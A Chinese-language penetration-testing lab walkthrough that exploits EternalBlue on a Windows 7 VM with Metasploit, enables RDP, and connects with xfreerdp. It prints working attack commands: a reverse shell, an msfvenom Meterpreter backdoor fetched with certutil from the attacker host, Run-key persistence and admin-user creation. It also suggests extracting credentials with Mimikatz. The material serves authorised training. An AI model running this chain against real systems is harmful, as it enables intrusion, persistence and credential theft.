从永恒之蓝漏洞利用到xfreerdp图形化控制:完整内网攻防演练实战

发布时间:2026/7/28 19:04:20
从永恒之蓝漏洞利用到xfreerdp图形化控制:完整内网攻防演练实战 1. 项目概述一次完整的内部网络攻防演练最近在整理内部安全培训的靶场环境发现很多刚接触渗透测试的朋友对于如何从一个已知漏洞出发最终拿到目标主机的完整控制权并建立起一个稳定的图形化操作通道整个流程的细节还是有点模糊。这其实是一个经典的“攻击链”演练场景非常适合用来理解渗透测试的基本逻辑和工具链的协同工作。今天我就以“永恒之蓝”这个老牌但极具教学意义的漏洞为起点带大家走一遍完整的流程从利用漏洞获取初始权限到在目标Win7系统上启用远程桌面最后从我们的Kali攻击机上使用xfreerdp工具图形化连接进去。整个过程就像拼图每一步都环环相扣我会把其中容易踩坑的细节和背后的原理都讲清楚。这个演练的核心价值在于它模拟了一次真实的内部网络横向移动场景。攻击者通过一个系统漏洞永恒之蓝打入内网一台主机Win7然后为了更方便地操控这台主机、搜索敏感信息或将其作为跳板需要建立一个图形化的远程控制会话。xfreerdp作为Linux平台上一个高效、开源的RDP客户端就成了连接Kali和Windows靶机的桥梁。通过这个项目你不仅能掌握msfconsole、metasploit的基础用法还能深入理解Windows服务配置、防火墙策略、用户权限以及RDP协议连接的完整过程这对于构建扎实的渗透测试基本功至关重要。2. 环境准备与拓扑设计在开始任何实战操作之前搭建一个隔离、安全的实验环境是首要且必须的步骤。这不仅是为了保护你的真实系统和其他网络设备也是为了让你能毫无顾忌地进行各种测试和复现。2.1 虚拟机与镜像准备你需要准备两台虚拟机一台作为攻击机Kali Linux另一台作为靶机Windows 7。我强烈建议使用VMware Workstation Pro或VirtualBox这类成熟的虚拟化软件。Kali Linux攻击机直接从Kali官网下载最新的稳定版ISO镜像。安装时网络适配器模式选择“NAT”或“桥接”均可但为了模拟更真实的内部网络环境后续我们让两台虚拟机处于同一网络段会更方便。安装过程很简单基本一路“下一步”即可记得为root用户或新建的普通用户设置一个强密码。Windows 7靶机这是整个实验的核心。你需要一个Windows 7 SP1的ISO镜像。重要提示请务必通过微软官方渠道或可信的IT资源平台获取用于测试和开发的合法镜像。安装时有几个关键点需要注意关闭Windows Update在安装过程中或安装后第一时间进入“控制面板-系统和安全-Windows Update-更改设置”选择“从不检查更新”。这是为了防止系统自动安装补丁修复我们将要利用的永恒之蓝漏洞。关闭Windows防火墙初始阶段为了方便演练我们可以在安装后暂时关闭防火墙。在“控制面板-系统和安全-Windows防火墙”中点击“打开或关闭Windows防火墙”为“专用网络”和“公用网络”设置均选择“关闭”。请注意在实际渗透测试中绕过防火墙是必要步骤这里关闭只是为了简化初期学习曲线。创建一个易于记忆的用户建议创建一个非Administrator的管理员用户例如用户名为test密码设为Password123!。这样在后续启用RDP和连接时会更清晰。安装VMware Tools/VirtualBox Guest Additions安装虚拟机增强工具可以显著提升操作体验特别是鼠标集成和文件共享功能方便后续传递工具。2.2 网络配置与连通性测试确保两台虚拟机可以互相通信是后续所有步骤的基础。统一网络模式将两台虚拟机的网络适配器都设置为同一模式例如“仅主机模式”Host-Only或“自定义”的同一VMnet网络。这样它们就处于一个封闭的虚拟局域网内。获取IP地址在Kali中打开终端输入ip a或ifconfig查看eth0或类似接口的IP地址记下来假设是192.168.111.128。在Win7中打开命令提示符cmd输入ipconfig查看IPv4地址记下来假设是192.168.111.130。测试连通性在Kali的终端里使用ping命令测试到Win7的连通性ping -c 4 192.168.111.130。如果能看到回复报文说明网络是通的。同样也可以在Win7上ping一下Kali的IP地址。注意如果无法ping通请检查虚拟机的网络适配器设置、系统防火墙Win7端以及虚拟网络编辑器VMware或虚拟网络管理器VirtualBox中的配置确保它们在同一个子网内。2.3 工具与心理准备Kali工具确认Kali默认已经集成了我们所需的核心工具——Metasploit Framework。你可以通过在终端输入msfconsole来验证其是否正常启动。心态准备请始终牢记这是在你自己完全控制的隔离环境中进行的合法安全学习与研究。所有技术都应用于授权测试、提升自身及所在组织的安全防护能力。未经授权对任何他人系统进行测试都是非法且不道德的。3. 漏洞利用使用MSF攻破Win7靶机万事俱备现在我们开始发起“第一波攻击”。永恒之蓝EternalBlue漏洞利用的是Windows SMBv1协议中的缺陷对应的Metasploit模块非常成熟。3.1 启动Metasploit与搜索模块在Kali终端中输入msfconsole启动Metasploit框架。启动后你会看到一个msf6 的命令提示符。首先我们搜索与永恒之蓝相关的漏洞利用模块search eternalblue你会看到名为exploit/windows/smb/ms17_010_eternalblue的模块。这就是我们本次要使用的“攻击载荷发射器”。3.2 配置并执行漏洞利用加载模块使用use命令加载该模块。use exploit/windows/smb/ms17_010_eternalblue查看配置选项输入show options查看这个模块需要哪些参数。RHOSTS: 这是目标主机的IP地址即我们的Win7靶机IP192.168.111.130。RPORT: SMB服务端口默认是445通常不需要改动。设置参数set RHOSTS 192.168.111.130你可以再次输入show options确认参数已设置正确。选择PayloadPayload是漏洞利用成功后我们希望在目标机器上执行的代码。我们需要一个能给我们返回命令行控制权shell的Payload。输入show payloads可以查看兼容的Payload列表。对于Windows目标一个常见的选择是windows/x64/meterpreter/reverse_tcp它功能强大。但为了最直观的演示我们先使用一个更简单的交互式Shellwindows/shell_reverse_tcp。set PAYLOAD windows/shell_reverse_tcp配置Payload参数设置Payload需要的参数主要是我们Kali攻击机的IPLHOST和一个监听端口LPORT例如4444。set LHOST 192.168.111.128 # Kali的IP set LPORT 4444发起攻击所有参数设置完毕后输入run或exploit命令开始攻击。exploit如果一切顺利你会看到Metasploit开始尝试攻击最终屏幕上出现一个C:\Windows\system32的命令提示符。恭喜你已经成功通过永恒之蓝漏洞获得了Win7靶机的一个系统级SYSTEM权限的Shell实操心得第一次运行可能会失败提示“目标可能不易受攻击”。这通常有几个原因一是Win7系统已经安装了MS17-010补丁所以之前强调要关闭更新二是防火墙或安全软件拦截了SMB流量所以建议初始关闭防火墙三是网络不通。按照前面环境准备的步骤仔细检查成功率会很高。4. 权限提升与后渗透配置拿到一个Shell只是第一步而且这个Shell可能不太稳定。我们的目标是启用远程桌面RDP这通常需要管理员权限并且需要对系统服务进行配置。4.1 权限确认与用户操作在刚才获得的Shell里输入whoami应该会显示nt authority\system这表示我们拥有最高权限。但为了方便后续用RDP连接我们可能需要操作一个具体的用户账户。查看用户输入net user查看系统上的用户列表。你应该能看到之前创建的test用户或Administrator。激活/重置用户如果test用户被禁用或密码未知我们可以用System权限来操作激活用户net user test /active:yes重置密码net user test Password123!将用户加入管理员组net localgroup administrators test /add4.2 启用远程桌面服务Win7的远程桌面服务默认可能未开启。我们需要在Shell中通过修改注册表和启动服务来完成。修改注册表以启用RDP远程桌面的开关在注册表中。执行以下命令reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f这条命令将fDenyTSConnections的值设为0表示允许连接。配置防火墙规则如果防火墙后续会开启为了允许RDP流量默认端口3389需要添加防火墙入站规则。但因为我们之前关闭了防火墙这一步在本次简化演练中非必须。了解其命令仍很重要netsh advfirewall firewall add rule nameOpen RDP Port dirin actionallow protocolTCP localport3389启动相关服务确保负责远程桌面的服务是运行的。sc start TermService你也可以使用sc config TermService start auto将其设置为开机自启。完成这些步骤后Win7靶机上的远程桌面服务理论上已经就绪。你可以尝试在Win7本机用netstat -an | findstr 3389查看3389端口是否在监听。4.3 创建持久化后门可选但重要的环节在真实的渗透测试中为了防止目标重启后失去控制权通常会部署一个持久化的后门。这里我们可以用Metasploit生成一个Meterpreter后门并将其设置为开机启动。在Kali上生成后门程序首先退出当前的Metasploit会话在msf的shell中输入exit或background如果直接退出了Shell就新开一个Kali终端。然后使用msfvenom工具生成一个可执行文件后门。msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.111.128 LPORT5555 -f exe -o backdoor.exe这个命令生成了一个名为backdoor.exe的程序当它在Win7上运行时会反向连接到Kali192.168.111.128的5555端口。将后门文件传送到靶机有多种方式例如在Kali上启动一个简单的HTTP服务器然后在Win7的Shell中用certutil或powershell下载。Kali:python3 -m http.server 8080Win7 Shell:certutil -urlcache -split -f http://192.168.111.128:8080/backdoor.exe C:\Users\Public\backdoor.exe在靶机上设置持久化将后门添加到启动项。例如将其复制到启动文件夹copy C:\Users\Public\backdoor.exe “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\”或者通过注册表添加reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v MyBackdoor /t REG_SZ /d C:\Users\Public\backdoor.exe /f在Kali上启动监听器回到msfconsole设置一个处理程序来接收反向连接。use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.111.128 set LPORT 5555 exploit -j-j参数表示作为后台任务运行。现在只要Win7靶机启动并运行了backdoor.exe你就会在MSF中获得一个Meterpreter会话。Meterpreter比普通的Shell强大得多可以更方便地进行文件操作、截图、键盘记录等。注意事项后门文件可能会被杀毒软件查杀。在实验环境中可以暂时关闭Win7的Windows Defender或其他安全软件。在真实环境中这涉及到免杀技术是另一个深奥的领域。5. 图形化连接使用xfreerdp建立RDP会话现在靶机的远程桌面服务已经开启我们也有了有效的用户凭证如test/Password123!。是时候从Kali这台Linux攻击机上建立图形化连接了。5.1 xfreerdp工具介绍与安装xfreerdp是FreeRDP项目在Linux/Unix系统上的客户端实现它轻量、高效支持最新的RDP协议特性。大多数Kali Linux版本已经预装了它。你可以通过xfreerdp --version来检查。如果没有安装使用以下命令安装sudo apt update sudo apt install freerdp2-x11 -y5.2 基础连接命令与参数解析最基本的连接命令如下xfreerdp /v:192.168.111.130 /u:test /p:Password123!/v:指定目标主机Victim的IP地址或主机名。/u:指定用户名User。/p:指定密码Password。注意在命令行中明文传递密码有安全风险仅用于实验。执行这条命令后应该会弹出一个新的窗口显示Win7的登录界面或直接进入桌面。如果成功那么整个“漏洞利用→权限提升→图形化控制”的链条就完整打通了。5.3 常用高级参数与优化基础的连接可能体验不佳例如分辨率不对、声音不传输、剪贴板不可用。xfreerdp提供了丰富的参数来优化体验xfreerdp /v:192.168.111.130 /u:test /p:Password123! \ fonts /floatbar /smart-sizing \ /dynamic-resolution /bpp:32 \ /sound:sys:pulse /microphone:sys:pulse \ clipboard /drive:share,/home/kali/Share让我逐一解释这些参数fonts启用字体平滑让文字显示更清晰。/floatbar启用一个轻量化的浮动工具栏方便最小化、全屏等操作。/smart-sizing允许你自由调整RDP客户端窗口大小远程桌面分辨率会动态适应。/dynamic-resolution与/smart-sizing类似更智能的动态分辨率调整。/bpp:32设置颜色深度为32位真彩色。/sound:sys:pulse和/microphone:sys:pulse将远程主机的音频重定向到本地PulseAudio系统实现声音传输。甚至可以将本地麦克风重定向到远程。clipboard启用剪贴板共享可以在Kali和Win7之间复制粘贴文本、文件。/drive:share,/home/kali/Share这是一个极其有用的功能。它将Kali本地的/home/kali/Share目录映射为Win7系统中的一个网络驱动器通常叫share on clientname。这样你就可以在图形化界面中像操作本地磁盘一样在两个系统间拖拽文件传输工具、脚本、数据变得异常方便。5.4 连接失败排查清单如果连接失败别着急按照以下清单逐步排查问题现象可能原因排查命令/方法连接超时网络不通或3389端口未开放1. Kali上ping 靶机IP2. Kali上nc -zv 靶机IP 3389(检查端口)3. Win7上 netstat -an提示“连接被拒绝”远程桌面服务未启动或防火墙阻止1. Win7 Shell:sc query TermService(查看服务状态)2. Win7 Shell:sc start TermService(启动服务)3. 检查Win7防火墙是否开启并放行3389提示“身份验证错误”用户凭证错误或用户无权远程登录1. 确认用户名/密码特别是Win7的空密码默认不允许远程登录需设置密码2. Win7 Shell:net localgroup “Remote Desktop Users”查看组成员并用net localgroup “Remote Desktop Users” test /add将用户加入该组黑屏或立即断开RDP协议版本或安全层不匹配尝试在xfreerdp命令中添加/sec:tls或/sec:nla指定安全协议。Win7默认可能需要NLA。无法映射驱动器本地目录路径错误或权限不足1. 确保Kali上指定的本地目录如/home/kali/Share存在且可读。2. 尝试用/drive:share,~/Share格式。一个关键的技巧如果遇到复杂的身份验证问题可以尝试先在Win7靶机内部用“远程桌面连接”mstsc连接本机IP127.0.0.1看是否能成功。这能排除服务端配置问题将问题范围缩小到网络和客户端。6. 实战深化在RDP会话中进行内网信息搜集成功建立图形化连接后渗透测试就进入了一个更直观、高效的阶段。你可以像操作自己电脑一样操作靶机。以下是一些可以在图形化界面中轻松完成但在纯命令行下比较繁琐的信息搜集动作网络拓扑探查打开“命令提示符”或“PowerShell”输入ipconfig /all查看详细的网络配置IP、网关、DNS判断其是否处在多网卡环境中。运行arp -a查看本地ARP缓存发现同一网段的其他活跃主机。使用net view命令查看同一工作组或域中有哪些计算机。用户与权限信息在“控制面板”-“用户账户”中图形化查看所有用户账户及其类型。在“计算机管理”compmgmt.msc中查看“本地用户和组”详细了解组关系。运行whoami /all和net user [用户名]获取当前令牌权限和用户详细信息。文件系统浏览与敏感信息搜索直接使用文件资源管理器浏览各个磁盘特别是用户目录C:\Users\、桌面、文档、下载文件夹寻找密码本、配置文件、数据库文件等。搜索特定扩展名的文件如.txt,.pdf,.xls,.doc,.config,.xml其中可能包含敏感信息。查看浏览器如IE的收藏夹、历史记录可能发现内部系统网址。进程与服务分析打开“任务管理器”查看正在运行的进程识别安全软件、监控代理、运维工具等。在“服务”services.msc中查看所有服务寻找以弱权限运行、路径可写或有漏洞版本的服务为下一步的权限持久化或横向移动做准备。凭证提取尝试需更高权限工具你可以将Mimikatz等知名凭证提取工具通过之前映射的网络驱动器/drive参数复制到靶机。在RDP会话中打开命令行运行这些工具尝试提取内存中的明文密码或哈希。注意这需要管理员权限并且可能触发杀软报警。图形化界面的优势在于“所见即所得”你能快速理解目标的环境并直观地定位有价值的信息点这是命令行Shell难以比拟的。将图形化操作与命令行工具如PowerShell脚本结合能极大提升内网渗透的效率。7. 清理痕迹与实验环境重置实验结束后养成良好的习惯清理你在靶机上留下的痕迹并将环境重置以备下次使用。清除后门与启动项删除复制到启动文件夹或通过注册表添加的后门程序及启动项。命令示例del “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.exe”和reg delete “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” /v MyBackdoor /f恢复系统配置如果你修改了防火墙规则考虑删除它netsh advfirewall firewall delete rule name”Open RDP Port”。如果你不想保留远程桌面可以将其禁用reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 1 /f然后sc stop TermService。删除创建的用户或文件删除测试中创建的非必要用户net user test /delete。清理临时下载或创建的文件目录。重置虚拟机快照这是最推荐、最彻底的清理方式。在开始实验前为干净的Win7和Kali虚拟机创建“快照”。实验结束后直接恢复到快照点所有更改都将消失环境焕然一新。这是虚拟化技术带给安全学习者的最大便利之一。整个流程走下来你会发现从漏洞利用到图形化控制每一步都依赖于对目标系统的深入理解和一系列工具的正确使用。永恒之蓝只是敲门砖真正的挑战在于如何在内网中隐蔽、持久地行动并有效地搜集信息。这个实战项目为你勾勒出了一条清晰的路径而沿着这条路径深入你会发现每一个环节都有更广阔、更深入的知识等待探索例如免杀技术、横向移动手法、域渗透等等。记住工具是死的思路是活的理解原理远比记住命令更重要。